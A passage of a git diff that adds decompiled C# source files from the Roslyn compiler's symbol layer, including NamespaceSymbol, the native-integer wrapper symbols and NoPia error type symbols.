&& associatedFileIdentifier.DisplayFilePath == displayFileName && !associatedFileIdentifier.FilePathChecksumOpt.IsDefault && associatedFileIdentifier.FilePathChecksumOpt.SequenceEqual(checksum) && current3.Arity == ((MetadataTypeName)(ref emittedTypeName)).InferredArity) + { + if ((object)namedTypeSymbol != null) + { + namedTypeSymbol = null; + break; + } + namedTypeSymbol = current3; + } + } + } + } + return namedTypeSymbol; + } + + internal IEnumerable? GetNamespaceOrTypeByQualifiedName(IEnumerable qualifiedName) + { + NamespaceOrTypeSymbol namespaceOrTypeSymbol = this; + IEnumerable enumerable = null; + foreach (string item in qualifiedName) + { + if (enumerable != null) + { + namespaceOrTypeSymbol = enumerable.OfMinimalArity(); + if ((object)namespaceOrTypeSymbol == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + } + enumerable = namespaceOrTypeSymbol.GetMembers(item).OfType(); + } + return enumerable; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceSymbol.cs new file mode 100644 index 0000000..0dbef20 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamespaceSymbol.cs @@ -0,0 +1,234 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class NamespaceSymbol : NamespaceOrTypeSymbol, INamespace, INamedEntity, INamespaceSymbolInternal, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + private ImmutableArray _lazyTypesMightContainExtensionMethods; + + private string _lazyQualifiedName; + + INamespace INamespace.ContainingNamespace => (INamespace)(object)AdaptedNamespaceSymbol.ContainingNamespace?.GetCciAdapter(); + + string INamedEntity.Name => AdaptedNamespaceSymbol.MetadataName; + + internal NamespaceSymbol AdaptedNamespaceSymbol => this; + + public virtual bool IsGlobalNamespace => (object)ContainingNamespace == null; + + internal abstract NamespaceExtent Extent { get; } + + public NamespaceKind NamespaceKind => Extent.Kind; + + public CSharpCompilation ContainingCompilation + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)NamespaceKind != 3) + { + return null; + } + return Extent.Compilation; + } + } + + public virtual ImmutableArray ConstituentNamespaces => ImmutableArray.Create(this); + + public sealed override NamedTypeSymbol ContainingType => null; + + public abstract override AssemblySymbol ContainingAssembly { get; } + + internal override ModuleSymbol ContainingModule + { + get + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + NamespaceExtent extent = Extent; + if ((int)extent.Kind == 1) + { + return extent.Module; + } + return null; + } + } + + public sealed override SymbolKind Kind => (SymbolKind)12; + + public sealed override bool IsImplicitlyDeclared => IsGlobalNamespace; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)6; + + public sealed override bool IsStatic => true; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + internal NamedTypeSymbol ImplicitType + { + get + { + ImmutableArray typeMembers = GetTypeMembers(""); + if (typeMembers.Length == 0) + { + return null; + } + return typeMembers[0]; + } + } + + private ImmutableArray TypesMightContainExtensionMethods + { + get + { + ImmutableArray lazyTypesMightContainExtensionMethods = _lazyTypesMightContainExtensionMethods; + if (lazyTypesMightContainExtensionMethods.IsDefault) + { + _lazyTypesMightContainExtensionMethods = ImmutableArrayExtensions.WhereAsArray(GetTypeMembersUnordered(), (Func)((NamedTypeSymbol t) => t.MightContainExtensionMethods)); + lazyTypesMightContainExtensionMethods = _lazyTypesMightContainExtensionMethods; + } + return lazyTypesMightContainExtensionMethods; + } + } + + internal string QualifiedName => _lazyQualifiedName ?? (_lazyQualifiedName = ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat)); + + bool INamespaceSymbolInternal.IsGlobalNamespace => IsGlobalNamespace; + + INamespaceSymbolInternal INamespace.GetInternalSymbol() + { + return (INamespaceSymbolInternal)(object)AdaptedNamespaceSymbol; + } + + internal new NamespaceSymbol GetCciAdapter() + { + return this; + } + + public IEnumerable GetNamespaceMembers() + { + return GetMembers().OfType(); + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitNamespace(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitNamespace(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitNamespace(this); + } + + internal NamespaceSymbol() + { + } + + internal NamespaceSymbol LookupNestedNamespace(ImmutableArray> names) + { + NamespaceSymbol namespaceSymbol = this; + ImmutableArray>.Enumerator enumerator = names.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + namespaceSymbol = namespaceSymbol.GetNestedNamespace(current); + if ((object)namespaceSymbol == null) + { + return null; + } + } + return namespaceSymbol; + } + + internal NamespaceSymbol GetNestedNamespace(string name) + { + return GetNestedNamespace(name.AsMemory()); + } + + internal NamespaceSymbol GetNestedNamespace(ReadOnlyMemory name) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = GetMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 12) + { + return (NamespaceSymbol)current; + } + } + return null; + } + + public abstract ImmutableArray GetMembers(ReadOnlyMemory name); + + public sealed override ImmutableArray GetMembers(string name) + { + return GetMembers(name.AsMemory()); + } + + internal NamespaceSymbol GetNestedNamespace(NameSyntax name) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier; + switch (name.Kind()) + { + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + identifier = ((SimpleNameSyntax)name).Identifier; + return GetNestedNamespace(((SyntaxToken)(ref identifier)).ValueText); + case SyntaxKind.QualifiedName: + { + QualifiedNameSyntax qualifiedNameSyntax = (QualifiedNameSyntax)name; + NamespaceSymbol nestedNamespace = GetNestedNamespace(qualifiedNameSyntax.Left); + if ((object)nestedNamespace != null) + { + return nestedNamespace.GetNestedNamespace(qualifiedNameSyntax.Right); + } + break; + } + case SyntaxKind.AliasQualifiedName: + identifier = name.GetUnqualifiedName().Identifier; + return GetNestedNamespace(((SyntaxToken)(ref identifier)).ValueText); + } + return null; + } + + internal virtual void GetExtensionMethods(ArrayBuilder methods, string nameOpt, int arity, LookupOptions options) + { + if (ContainingAssembly.MightContainExtensionMethods) + { + ImmutableArray.Enumerator enumerator = TypesMightContainExtensionMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.DoGetExtensionMethods(methods, nameOpt, arity, options); + } + } + } + + protected sealed override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.NamespaceSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerMethodSymbol.cs new file mode 100644 index 0000000..d4f274e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerMethodSymbol.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Immutable; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class NativeIntegerMethodSymbol : WrappedMethodSymbol, IReference +{ + private readonly NativeIntegerTypeSymbol _container; + + private readonly NativeIntegerPropertySymbol? _associatedSymbol; + + private ImmutableArray _lazyParameters; + + public override Symbol ContainingSymbol => _container; + + public override MethodSymbol UnderlyingMethod { get; } + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _container.SubstituteUnderlyingType(UnderlyingMethod.ReturnTypeWithAnnotations); + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override ImmutableArray Parameters + { + get + { + if (_lazyParameters.IsDefault) + { + ImmutableArray value = ImmutableArrayExtensions.SelectAsArray(UnderlyingMethod.Parameters, (Func)((ParameterSymbol p, NativeIntegerMethodSymbol m) => new NativeIntegerParameterSymbol(m._container, m, p)), this); + ImmutableInterlocked.InterlockedInitialize(ref _lazyParameters, value); + } + return _lazyParameters; + } + } + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override ImmutableArray RefCustomModifiers => UnderlyingMethod.RefCustomModifiers; + + public override Symbol? AssociatedSymbol => _associatedSymbol; + + internal NativeIntegerMethodSymbol(NativeIntegerTypeSymbol container, MethodSymbol underlyingMethod, NativeIntegerPropertySymbol? associatedSymbol) + { + _container = container; + _associatedSymbol = associatedSymbol; + UnderlyingMethod = underlyingMethod; + } + + internal override UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return UnderlyingMethod.GetUnmanagedCallersOnlyAttributeData(forceComplete); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 370); + } + + internal override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 373); + } + + public override bool Equals(Symbol? other, TypeCompareKind comparison) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return NativeIntegerTypeSymbol.EqualsHelper(this, other, comparison, (NativeIntegerMethodSymbol symbol) => symbol.UnderlyingMethod); + } + + public override int GetHashCode() + { + return UnderlyingMethod.GetHashCode(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 383); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerParameterSymbol.cs new file mode 100644 index 0000000..d2e42c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerParameterSymbol.cs @@ -0,0 +1,53 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class NativeIntegerParameterSymbol : WrappedParameterSymbol, IReference +{ + private readonly NativeIntegerTypeSymbol _containingType; + + private readonly NativeIntegerMethodSymbol _container; + + public override Symbol ContainingSymbol => _container; + + public override TypeWithAnnotations TypeWithAnnotations => _containingType.SubstituteUnderlyingType(_underlyingParameter.TypeWithAnnotations); + + public override ImmutableArray RefCustomModifiers => _underlyingParameter.RefCustomModifiers; + + internal override bool IsCallerLineNumber => _underlyingParameter.IsCallerLineNumber; + + internal override bool IsCallerFilePath => _underlyingParameter.IsCallerFilePath; + + internal override bool IsCallerMemberName => _underlyingParameter.IsCallerMemberName; + + internal override int CallerArgumentExpressionParameterIndex => _underlyingParameter.CallerArgumentExpressionParameterIndex; + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => _underlyingParameter.InterpolatedStringHandlerArgumentIndexes; + + internal override bool HasInterpolatedStringHandlerArgumentError => _underlyingParameter.HasInterpolatedStringHandlerArgumentError; + + internal NativeIntegerParameterSymbol(NativeIntegerTypeSymbol containingType, NativeIntegerMethodSymbol container, ParameterSymbol underlyingParameter) + : base(underlyingParameter) + { + _containingType = containingType; + _container = container; + } + + public override bool Equals(Symbol? other, TypeCompareKind comparison) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return NativeIntegerTypeSymbol.EqualsHelper(this, other, comparison, (NativeIntegerParameterSymbol symbol) => symbol._underlyingParameter); + } + + public override int GetHashCode() + { + return _underlyingParameter.GetHashCode(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 431); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerPropertySymbol.cs new file mode 100644 index 0000000..c32bd9f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerPropertySymbol.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Immutable; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class NativeIntegerPropertySymbol : WrappedPropertySymbol, IReference +{ + private readonly NativeIntegerTypeSymbol _container; + + public override Symbol ContainingSymbol => _container; + + public override TypeWithAnnotations TypeWithAnnotations => _container.SubstituteUnderlyingType(_underlyingProperty.TypeWithAnnotations); + + public override ImmutableArray RefCustomModifiers => base.UnderlyingProperty.RefCustomModifiers; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override MethodSymbol? GetMethod { get; } + + public override MethodSymbol? SetMethod { get; } + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal override bool MustCallMethodsDirectly => _underlyingProperty.MustCallMethodsDirectly; + + internal NativeIntegerPropertySymbol(NativeIntegerTypeSymbol container, PropertySymbol underlyingProperty, Func getAccessor) + : base(underlyingProperty) + { + _container = container; + GetMethod = getAccessor(container, this, underlyingProperty.GetMethod); + SetMethod = getAccessor(container, this, underlyingProperty.SetMethod); + } + + public override bool Equals(Symbol? other, TypeCompareKind comparison) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return NativeIntegerTypeSymbol.EqualsHelper(this, other, comparison, (NativeIntegerPropertySymbol symbol) => symbol._underlyingProperty); + } + + public override int GetHashCode() + { + return _underlyingProperty.GetHashCode(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 480); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerTypeSymbol.cs new file mode 100644 index 0000000..3432533 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NativeIntegerTypeSymbol.cs @@ -0,0 +1,349 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class NativeIntegerTypeSymbol : WrappedNamedTypeSymbol, IReference +{ + private sealed class NativeIntegerTypeMap : AbstractTypeMap + { + private readonly NativeIntegerTypeSymbol _type; + + private readonly SpecialType _specialType; + + internal NativeIntegerTypeMap(NativeIntegerTypeSymbol type) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + _type = type; + _specialType = _type.UnderlyingNamedType.SpecialType; + } + + internal override NamedTypeSymbol SubstituteTypeDeclaration(NamedTypeSymbol previous) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (previous.SpecialType != _specialType) + { + return base.SubstituteTypeDeclaration(previous); + } + return _type; + } + + internal override ImmutableArray SubstituteCustomModifiers(ImmutableArray customModifiers) + { + return customModifiers; + } + } + + private ImmutableArray _lazyInterfaces; + + private ImmutableArray _lazyMembers; + + private NativeIntegerTypeMap? _lazyTypeMap; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override NamedTypeSymbol ConstructedFrom => this; + + public override Symbol ContainingSymbol => _underlyingType.ContainingSymbol; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => ImmutableArray.Empty; + + internal override bool IsComImport => _underlyingType.IsComImport; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => _underlyingType.BaseTypeNoUseSiteDiagnostics; + + public override SpecialType SpecialType => _underlyingType.SpecialType; + + public override IEnumerable MemberNames => from m in GetMembers() + select m.Name; + + internal override bool HasDeclaredRequiredMembers => false; + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 171); + } + } + + internal override bool IsNativeIntegerWrapperType => true; + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => _underlyingType; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + internal sealed override bool IsRecord => false; + + internal sealed override bool IsRecordStruct => false; + + internal NativeIntegerTypeSymbol(NamedTypeSymbol underlyingType) + : base(underlyingType, null) + { + } + + public override ImmutableArray GetMembers() + { + if (_lazyMembers.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyMembers, makeMembers(_underlyingType.GetMembers())); + } + return _lazyMembers; + ImmutableArray makeMembers(ImmutableArray underlyingMembers) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = underlyingMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.DeclaredAccessibility == 6) + { + if (!(current is MethodSymbol methodSymbol)) + { + if (current is PropertySymbol { ParameterCount: 0 } propertySymbol && propertySymbol.Name != "Size") + { + NativeIntegerPropertySymbol nativeIntegerPropertySymbol = new NativeIntegerPropertySymbol(this, propertySymbol, (NativeIntegerTypeSymbol container, NativeIntegerPropertySymbol property, MethodSymbol? underlyingAccessor) => ((object)underlyingAccessor != null) ? new NativeIntegerMethodSymbol(container, underlyingAccessor, property) : null); + instance.Add((Symbol)nativeIntegerPropertySymbol); + ArrayBuilderExtensions.AddIfNotNull(instance, (Symbol)nativeIntegerPropertySymbol.GetMethod); + ArrayBuilderExtensions.AddIfNotNull(instance, (Symbol)nativeIntegerPropertySymbol.SetMethod); + } + } + else if (!methodSymbol.IsGenericMethod && !methodSymbol.IsAccessor()) + { + MethodKind methodKind = methodSymbol.MethodKind; + if ((int)methodKind != 1) + { + if ((int)methodKind == 10) + { + switch (methodSymbol.Name) + { + default: + instance.Add((Symbol)new NativeIntegerMethodSymbol(this, methodSymbol, null)); + break; + case "Subtract": + case "ToUInt32": + case "ToUInt64": + case "ToInt32": + case "ToInt64": + case "Add": + case "ToPointer": + break; + } + } + } + else if (methodSymbol.ParameterCount == 0) + { + instance.Add((Symbol)new NativeIntegerMethodSymbol(this, methodSymbol, null)); + } + } + } + } + return instance.ToImmutableAndFree(); + } + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol member, string text) => member.Name == text), name); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return _underlyingType.GetDeclaredBaseType(basesBeingResolved); + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return GetInterfaces(basesBeingResolved); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 152); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 154); + } + + internal override IEnumerable GetFieldsToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 156); + } + + internal override ImmutableArray GetInterfacesToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 158); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return GetInterfaces(basesBeingResolved); + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 162); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _underlyingType.GetUseSiteInfo(); + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 175); + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal override bool Equals(TypeSymbol? other, TypeCompareKind comparison) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if ((object)other == null) + { + return false; + } + if ((object)this == other) + { + return true; + } + if (!_underlyingType.Equals(other, comparison)) + { + return false; + } + if ((comparison & 0x20) == 0) + { + return other.IsNativeIntegerWrapperType; + } + return true; + } + + public override int GetHashCode() + { + return _underlyingType.GetHashCode(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/NativeIntegerTypeSymbol.cs", 212); + } + + private ImmutableArray GetInterfaces(ConsList? basesBeingResolved) + { + if (_lazyInterfaces.IsDefault) + { + ImmutableArray value = ImmutableArrayExtensions.SelectAsArray(_underlyingType.InterfacesNoUseSiteDiagnostics(basesBeingResolved), (Func)((NamedTypeSymbol type, NativeIntegerTypeMap map) => map.SubstituteNamedType(type)), GetTypeMap()); + ImmutableInterlocked.InterlockedInitialize(ref _lazyInterfaces, value); + } + return _lazyInterfaces; + } + + private NativeIntegerTypeMap GetTypeMap() + { + if (_lazyTypeMap == null) + { + Interlocked.CompareExchange(ref _lazyTypeMap, new NativeIntegerTypeMap(this), null); + } + return _lazyTypeMap; + } + + internal TypeWithAnnotations SubstituteUnderlyingType(TypeWithAnnotations type) + { + return type.SubstituteType(GetTypeMap()); + } + + internal NamedTypeSymbol SubstituteUnderlyingType(NamedTypeSymbol type) + { + return GetTypeMap().SubstituteNamedType(type); + } + + internal static bool EqualsHelper(TSymbol symbol, Symbol? other, TypeCompareKind comparison, Func getUnderlyingSymbol) where TSymbol : Symbol + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if ((object)other == null) + { + return false; + } + if ((object)symbol == other) + { + return true; + } + if (!getUnderlyingSymbol(symbol).Equals(other, comparison)) + { + return false; + } + if ((comparison & 0x20) == 0) + { + return other is TSymbol; + } + return true; + } + + [Conditional("DEBUG")] + internal static void VerifyEquality(Symbol symbolA, Symbol symbolB) + { + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaAmbiguousCanonicalTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaAmbiguousCanonicalTypeSymbol.cs new file mode 100644 index 0000000..158cc20 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaAmbiguousCanonicalTypeSymbol.cs @@ -0,0 +1,49 @@ +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class NoPiaAmbiguousCanonicalTypeSymbol : ErrorTypeSymbol +{ + private readonly AssemblySymbol _embeddingAssembly; + + private readonly NamedTypeSymbol _firstCandidate; + + private readonly NamedTypeSymbol _secondCandidate; + + internal override bool MangleName => false; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + public AssemblySymbol EmbeddingAssembly => _embeddingAssembly; + + public NamedTypeSymbol FirstCandidate => _firstCandidate; + + public NamedTypeSymbol SecondCandidate => _secondCandidate; + + internal override DiagnosticInfo ErrorInfo => (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NoCanonicalView, _firstCandidate); + + public NoPiaAmbiguousCanonicalTypeSymbol(AssemblySymbol embeddingAssembly, NamedTypeSymbol firstCandidate, NamedTypeSymbol secondCandidate, TupleExtraData? tupleData = null) + : base(tupleData) + { + _embeddingAssembly = embeddingAssembly; + _firstCandidate = firstCandidate; + _secondCandidate = secondCandidate; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new NoPiaAmbiguousCanonicalTypeSymbol(_embeddingAssembly, _firstCandidate, _secondCandidate, newData); + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + return (object)this == t2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaIllegalGenericInstantiationSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaIllegalGenericInstantiationSymbol.cs new file mode 100644 index 0000000..8bbb979 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaIllegalGenericInstantiationSymbol.cs @@ -0,0 +1,55 @@ +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class NoPiaIllegalGenericInstantiationSymbol : ErrorTypeSymbol +{ + private readonly ModuleSymbol _exposingModule; + + private readonly NamedTypeSymbol _underlyingSymbol; + + internal override bool MangleName => false; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + public NamedTypeSymbol UnderlyingSymbol => _underlyingSymbol; + + internal override DiagnosticInfo ErrorInfo + { + get + { + if (_underlyingSymbol.IsErrorType()) + { + DiagnosticInfo errorInfo = ((ErrorTypeSymbol)_underlyingSymbol).ErrorInfo; + if (errorInfo != null) + { + return errorInfo; + } + } + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_GenericsUsedAcrossAssemblies, _underlyingSymbol, _exposingModule.ContainingAssembly); + } + } + + public NoPiaIllegalGenericInstantiationSymbol(ModuleSymbol exposingModule, NamedTypeSymbol underlyingSymbol) + { + _exposingModule = exposingModule; + _underlyingSymbol = underlyingSymbol; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new NoPiaIllegalGenericInstantiationSymbol(_exposingModule, _underlyingSymbol); + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + return (object)this == t2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaMissingCanonicalTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NoPiaMissingCanonicalTypeSymbol.cs new file mode 100644 index 0000000..b9bb184 --- /dev/null +++ 